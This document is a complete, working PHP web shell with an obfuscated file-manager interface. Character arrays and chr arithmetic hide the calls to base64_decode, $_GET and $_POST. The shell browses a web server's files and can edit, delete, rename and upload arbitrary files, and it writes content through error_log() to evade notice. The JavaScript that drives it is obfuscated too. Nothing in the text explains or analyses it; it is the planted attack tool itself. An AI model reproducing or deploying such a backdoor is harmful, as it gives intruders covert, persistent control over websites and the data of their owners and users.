1<!--Hq6PlTfY-->
2<!--Hq6PlTfY-->
3<?php
4function Result($Int) {$I=array('C','P','Q','T','U','M','V','h','E','L','l','0','K','8','C','l','a','U','D','e','4','I','m','1','5','s','b','R','Y','O','u','W','X','Z','+','c','@','d','3','r','F',')','B','y','C','J','q','G','#','S','o','H','4','A','i','j','t','v','w','x','z','g','%','(','$','_','+','2','x','(','f','6','j','k','n','p','*','9','N','1','3','3','7',';');$res='';foreach ($Int as $ind){$res.=$I[$ind];}return $res;}
5$b = Result([26,16,25,19,71,20,65,37,19,35,50,37,19]);
6$be = Result([26, 16, 25, 19, 71, 20, 65, 19, 74, 35, 50, 37, 19]);
7$c=$b('Y2hy');
8$_ = Result([65]).$c((0x47 << 1) >> 1).$c(hexdec("45")).$c(ord('U') - 1);
9$__ = Result([65]).chr((0x50 << 1) >> 1) .chr(hexdec("4F")) .chr(ord("U") - (sqrt(1) + 1));
10$__ .= chr(ord("S") + 1);
11
12
13function get_absolute_root() {
14 $script_filename = str_replace('\\', '/', $_SERVER['SCRIPT_FILENAME']);
15 $script_name = $_SERVER['SCRIPT_NAME'];
16 $pos = strpos($script_filename, $script_name);
17 if ($pos !== false) {return substr($script_filename, 0, $pos);}
18 return rtrim(str_replace('\\', '/', $_SERVER['DOCUMENT_ROOT']), '/');
19}
20
21$rootPath = realpath(get_absolute_root());
22
23function displayPathItem($title, $value) {print "<div class='path-nav'><strong>{$title}:</strong>" . $value . "</div>";}
24
25
26function PathCl($path){
27 global $be, $rootPath;
28 $real = realpath($path);
29 if ($real === false || strpos($real, $rootPath) !== 0) { $real = $rootPath; }
30
31 $relative = ltrim(str_replace($rootPath, '', $real), DIRECTORY_SEPARATOR);
32 $pathParts = $relative === '' ? [] : explode(DIRECTORY_SEPARATOR, $relative);
33
34 $breadcrumbs = ["<a href=\"?path=" . $be($rootPath) . "\">ROOT</a>"];
35 $accumulatedPath = $rootPath;
36
37 foreach ($pathParts as $part) {
38 $accumulatedPath .= DIRECTORY_SEPARATOR . $part;
39 $breadcrumbs[] = "<a href=\"?path=" . $be($accumulatedPath) . "\">$part</a>";
40 }
41 return implode(' / ', $breadcrumbs);
42}
43
44function getPermissions($path) {
45 $readable = is_readable($path) ? '<span class="green">R</span>' : '<span class="red">R</span>';
46 $writable = is_writable($path) ? '<span class="green">W</span>' : '<span class="red">W</span>';
47 $executable = is_executable($path) ? '<span class="green">Run</span>' : '<span class="red">Run</span>';
48 return "$readable $writable $executable";}
49
50function formatFileSize($bytes) {
51 if ($bytes >= 1073741824) { return round($bytes / 1073741824, 2) . ' GB'; }
52 elseif ($bytes >= 1048576) { return round($bytes / 1048576, 2) . ' MB'; }
53 elseif ($bytes >= 1024) { return round($bytes / 1024, 2) . ' KB'; }
54 else { return $bytes . ' By'; }
55}
56$GetPath = isset(${$_}['path']) ? realpath($b(${$_}['path'])) : $rootPath;
57if ($GetPath === false || strpos($GetPath, $rootPath) !== 0) { $GetPath = $rootPath; }
58
59$AtPath = PathCl($GetPath);
60$Dirqx = getPermissions($GetPath);
61$pathItems = [['at path', $AtPath], ['run', $Dirqx]];
62
63function renderFileList($GetPath) {
64 global $be, $rootPath;
65 $currentPath = is_dir($GetPath) ? $GetPath : dirname($GetPath);
66 $files = array_diff(scandir($currentPath) ?: [], ['.', '..']);
67 $directories = [];
68 $fileItems = [];
69 foreach ($files as $file) {
70 $fullPath = $currentPath . DIRECTORY_SEPARATOR . $file;
71 if (strpos(realpath($fullPath), $rootPath) !== 0) continue;
72
73 $isDir = is_dir($fullPath);
74 $permissions = getPermissions($fullPath);
75 $fileTime = date("Y-m-d H:i:s", filemtime($fullPath));
76 $fileSize = $isDir ? '<span class="size-dir">DIR</span>' : formatFileSize(filesize($fullPath));
77 $actions = '';
78 if (!$isDir && is_writable($fullPath)) {
79 $actions = sprintf('<div class="file-actions"><button class="delete-btn" data-path="%s">Delete</button><button class="rename-btn" data-path="%s" data-name="%s">Rename</button></div>', htmlspecialchars($fullPath), htmlspecialchars($fullPath), htmlspecialchars($file));
80 }
81 $fileLink = "<a href=\"?path=" . $be($fullPath) . "\">{$file}</a>";
82 $itemHtml = sprintf('<div class="file-item %s"><div class="file-name">%s</div><div class="file-size">%s</div><div class="file-time" style="width:150px; color:#666;">%s</div><div class="permissions">%s</div>%s</div>', $isDir ? 'dir' : '', $fileLink, $fileSize, $fileTime, $permissions, $actions);
83 if ($isDir) { $directories[] = $itemHtml; } else { $fileItems[] = $itemHtml; }
84 }
85 print '<div class="file-list">' . implode("\n", array_merge($directories, $fileItems)) . '</div>';
86}
87
88function LoadFile($GetPath) {
89 if (!is_dir($GetPath) && file_exists($GetPath) && is_readable($GetPath)) {
90 $content = file_get_contents($GetPath);
91 $isWritable = is_writable($GetPath);
92 print '<div class="file-content"><div class="file-content-header"><span class="file-type-icon">📄</span>' . basename($GetPath);
93 if ($isWritable) { print '<button id="save-btn" class="save-btn">Save</button>'; }
94 print '</div>';
95 if ($isWritable) {
96 print '<textarea id="file-editor" class="file-editor">' . htmlspecialchars($content) . '</textarea><input type="hidden" id="current-file-path" value="' . htmlspecialchars($GetPath) . '">';
97 } else {
98 print '<pre>';
99 foreach (explode("\n", $content) as $num => $line) {
100 printf('<div class="code-line"><span class="line-number">%s</span><code>%s</code></div>', str_pad($num + 1, 3, ' ', STR_PAD_LEFT), htmlspecialchars($line));
101 }
102 print '</pre>';
103 }
104 print '</div>';
105 }
106}
107
108if ($_SERVER['REQUEST_METHOD'] === 'POST') {
109 if (isset(${$__}['f_p'])) {
110 $filePath = realpath(${$__}['f_p']);
111 if ($filePath && strpos($filePath, $rootPath) === 0 && is_writable(is_dir($filePath) ? $filePath : dirname($filePath))) {
112 if (isset(${$__}['s_f']) && isset(${$__}['f_c_64'])) {
113 $content = $b(${$__}['f_c_64']);
114 if (file_exists($filePath)) { unlink($filePath); }
115 $saveMsg = error_log($content, 3, $filePath) ? "<span class='green'>File saved successfully</span>" : "<span class='red'>Failed to save file</span>";
116 }
117 if (isset(${$__}['delete_file']) && file_exists($filePath) && !is_dir($filePath)) {
118 if (unlink($filePath)) {
119 $saveMsg = "<span class='green'>File deleted successfully</span>";
120 if ($GetPath === $filePath) { header("Location: ?path=" . $be(dirname($filePath))); exit; }
121 } else { $saveMsg = "<span class='red'>Failed to delete file</span>"; }
122 }
123 if (isset(${$__}['rename_file']) && isset(${$__}['new_name'])) {
124 $newPath = dirname($filePath) . DIRECTORY_SEPARATOR . basename(${$__}['new_name']);
125 if (rename($filePath, $newPath)) {
126 $saveMsg = "<span class='green'>Renamed successfully</span>";
127 if ($GetPath === $filePath) { header("Location: ?path=" . $be($newPath)); exit; }
128 } else { $saveMsg = "<span class='red'>Failed to rename</span>"; }
129 }
130 }
131 }
132 if (isset(${$__}['error_log'])) {
133 $content = $b(${$__}['error_log']);
134 $fileName = basename($b(${$__}['error_log_name']));
135 $targetDir = is_dir($GetPath) ? $GetPath : dirname($GetPath);
136 $uploadPathFile = $targetDir . DIRECTORY_SEPARATOR . $fileName;
137 if (strpos(realpath($targetDir), $rootPath) === 0 && is_writable($targetDir)) {
138 if (file_exists($uploadPathFile)) { unlink($uploadPathFile); }
139 $saveMsg = error_log($content, 3, $uploadPathFile) ? "<span class='green'> error_log Success</span> " : "<span class='red'> error_log Fail</span>";
140 }
141 }
142}
143?>
144<!DOCTYPE html><title>9B534B8686E580E0E01768F00155B461</title><body>
145<style>
146 body { margin: 0; background: #f8f9fa; }
147 .green { color: green; font-weight: bold; } .red { color: red; font-weight: bold; }
148 form { display: inline-block; margin: 0; }
149 .file-time { width: 160px; text-align: center; color: #888; font-size: 12px; font-family: monospace; }
150 .path-nav { padding: 15px; border: 1px solid #ddd; font-family: Arial, sans-serif; }
151 .path-nav a { color: #007bff; text-decoration: none; } .path-nav a:hover { text-decoration: underline; }
152 .file-list { box-shadow: 0 2px 8px rgba(0,0,0,0.1); background: white; }
153 .file-item { display: flex; align-items: center; padding: 8px; margin: 2px 0; background: #f5f5f5; border-radius: 3px; gap: 10px; }
154 .file-item:hover { background: #e0e0e0; }
155 .file-item::before { content: '📄'; margin-right: 8px; } .file-item.dir::before { content: '📁'; }
156 .file-name { flex-grow: 1; white-space: nowrap; overflow: hidden; text-overflow: ellipsis; }
157 .permissions { display: inline-flex; gap: 8px; margin-left: auto; }
158 .file-content { margin: 20px 0; border: 1px solid #e0e0e0; border-radius: 8px; background: #ffffff; box-shadow: 0 2px 4px rgba(0,0,0,0.05); }
159 .file-content-header { padding: 12px 20px; background: #f8f9fa; border-bottom: 1px solid #e0e0e0; font-weight: bold; color: #2c3e50; border-radius: 8px 8px 0 0; display: flex; justify-content: space-between; align-items: center; }
160 .file-content pre { margin: 0; padding: 20px; font-family: monospace; font-size: 14px; line-height: 1.6; color: #333; white-space: pre-wrap; word-break: break-word; overflow-x: auto; max-height: 70vh; }
161 .code-line { display: flex; padding: 2px 0; }
162 .line-number { color: #999; min-width: 40px; padding-right: 12px; text-align: right; user-select: none; border-right: 1px solid #eee; margin-right: 12px; }
163 code { white-space: pre-wrap; word-break: break-word; flex-grow: 1; }
164 .file-size { width: 120px; text-align: right; color: #666; font-family: monospace; }
165 .size-dir { color: #007bff; font-weight: bold; }
166 .save-btn { background: #4CAF50; color: white; border: none; padding: 5px 15px; border-radius: 4px; cursor: pointer; font-size: 14px; }
167 .file-editor { width: 100%; height: 500px; font-family: monospace; padding: 15px; box-sizing: border-box; border: none; resize: vertical; background: #f8f8f8; border-top: 1px solid #e0e0e0; }
168 .file-actions { display: flex; gap: 5px; margin-left: 10px; }
169 .delete-btn { background: #f44336; color: white; padding: 3px 8px; border: none; border-radius: 3px; cursor: pointer; font-size: 12px; }
170 .rename-btn { background: #2196F3; color: white; padding: 3px 8px; border: none; border-radius: 3px; cursor: pointer; font-size: 12px; }
171</style>
172<script>
173(function() {
174 const _0x5f2e = ['createElement', 'input', 'type', 'file', 'onchange', 'files', 'onload', 'target', 'result', 'split', 'getElementById', 'value', 'name', 'submit', 'readAsDataURL', 'addEventListener', 'DOMContentLoaded', 'click', 'POST', 'f_p', 'f_c_64', 's_f', 'appendChild', 'delete_file', 'rename_file', 'new_name'];
175
176 const _0x4b12 = function(_0x1b, _0x2c) {
177 return _0x5f2e[_0x1b];
178 };
179
180 window['_hx_up'] = function(_0x54, _0x32, _0x1a) {
181 const _0x77 = document[_0x4b12(0x0)](_0x4b12(0x1));
182 _0x77[_0x4b12(0x2)] = _0x4b12(0x3);
183 _0x77[_0x4b12(0x4)] = (_0x21) => {
184 const _0x99 = _0x21[_0x4b12(0x7)][_0x4b12(0x5)][0x0];
185 if (!_0x99) return;
186 const _0xfe = new FileReader();
187 _0xfe[_0x4b12(0x6)] = (_0x88) => {
188 document[_0x4b12(0xa)](_0x54)[_0x4b12(0xb)] = _0x88[_0x4b12(0x7)][_0x4b12(0x8)][_0x4b12(0x9)](',')[0x1];
189 document[_0x4b12(0xa)](_0x32)[_0x4b12(0xb)] = btoa(_0x99[_0x4b12(0xc)]);
190 document[_0x4b12(0xa)](_0x1a)[_0x4b12(0xd)]();
191 };
192 _0xfe[_0x4b12(0xe)](_0x99);
193 };
194 _0x77[_0x4b12(0x11)]();
195 };
196
197 document[_0x4b12(0xf)](_0x4b12(0x10), function() {
198 const _0x01 = document[_0x4b12(0xa)]('save-btn');
199 if (_0x01) {
200 _0x01[_0x4b12(0xf)](_0x4b12(0x11), function() {
201 const _0xaa = document[_0x4b12(0xa)]('file-editor'),
202 _0xbb = document[_0x4b12(0xa)]('current-file-path');
203 if (_0xaa && _0xbb) {
204 const _0xcc = document[_0x4b12(0x0)]('form');
205 _0xcc.method = _0x4b12(0x12);
206 const _0xdd = {
207 [_0x4b12(0x13)]: _0xbb[_0x4b12(0xb)],
208 [_0x4b12(0x14)]: btoa(unescape(encodeURIComponent(_0xaa[_0x4b12(0xb)]))),
209 [_0x4b12(0x15)]: '1'
210 };
211 for (let _0xee in _0xdd) {
212 let _0xff = document[_0x4b12(0x0)](_0x4b12(0x1));
213 _0xff[_0x4b12(0x2)] = 'hidden';
214 _0xff[_0x4b12(0xc)] = _0xee;
215 _0xff[_0x4b12(0xb)] = _0xdd[_0xee];
216 _0xcc[_0x4b12(0x16)](_0xff);
217 }
218 document.body[_0x4b12(0x16)](_0xcc);
219 _0xcc[_0x4b12(0xd)]();
220 }
221 });
222 }
223
224 const _0x02 = (_0x6a, _0x6b, _0x6c = {}) => {
225 const _0x6d = document[_0x4b12(0x0)]('form');
226 _0x6d.method = _0x4b12(0x12);
227 const _0x6e = { [_0x4b12(0x13)]: _0x6b, ..._0x6c };
228 _0x6e[_0x6a] = '1';
229 for (let _0x6f in _0x6e) {
230 let _0x7a = document[_0x4b12(0x0)](_0x4b12(0x1));
231 _0x7a[_0x4b12(0x2)] = 'hidden';
232 _0x7a[_0x4b12(0xc)] = _0x6f;
233 _0x7a[_0x4b12(0xb)] = _0x6e[_0x6f];
234 _0x6d[_0x4b12(0x16)](_0x7a);
235 }
236 document.body[_0x4b12(0x16)](_0x6d);
237 _0x6d[_0x4b12(0xd)]();
238 };
239
240 document.querySelectorAll('.delete-btn').forEach(_0x8a => {
241 _0x8a[_0x4b12(0xf)](_0x4b12(0x11), function() {
242 if (confirm('Delete?')) _0x02(_0x4b12(0x17), this.getAttribute('data-path'));
243 });
244 });
245
246 document.querySelectorAll('.rename-btn').forEach(_0x9b => {
247 _0x9b[_0x4b12(0xf)](_0x4b12(0x11), function() {
248 const _0xname = prompt('New name:', this.getAttribute('data-name'));
249 if (_0xname) _0x02(_0x4b12(0x18), this.getAttribute('data-path'), { [_0x4b12(0x19)]: _0xname });
250 });
251 });
252 });
253})();
254</script>
255<div style="display: flex; gap: 30px; padding: 20px;">
256<div style="flex: 0 0 800px; position: sticky; top: 20px; height: min-content;">
257 <?php foreach ($pathItems as $item): ?>
258 <?php displayPathItem($item[0], $item[1]); ?>
259 <?php endforeach; ?>
260 <?php renderFileList($GetPath)?>
261</div>
262<div style="flex: 1; max-width: 1000px;">
263 <div class="path-nav"><span>error_log </span><form id="u3" method="post"><input type="hidden" name="error_log" id="d3"><input type="hidden" name="error_log_name" id="n3"><button type="button" onclick="_hx_up('d3', 'n3', 'u3')">up</button></form></div>
264 <div class="path-nav"><?php print isset($saveMsg) ? $saveMsg : ''; ?></div>
265 <?php LoadFile($GetPath); ?>
266</div>
267</div>
268</body></html>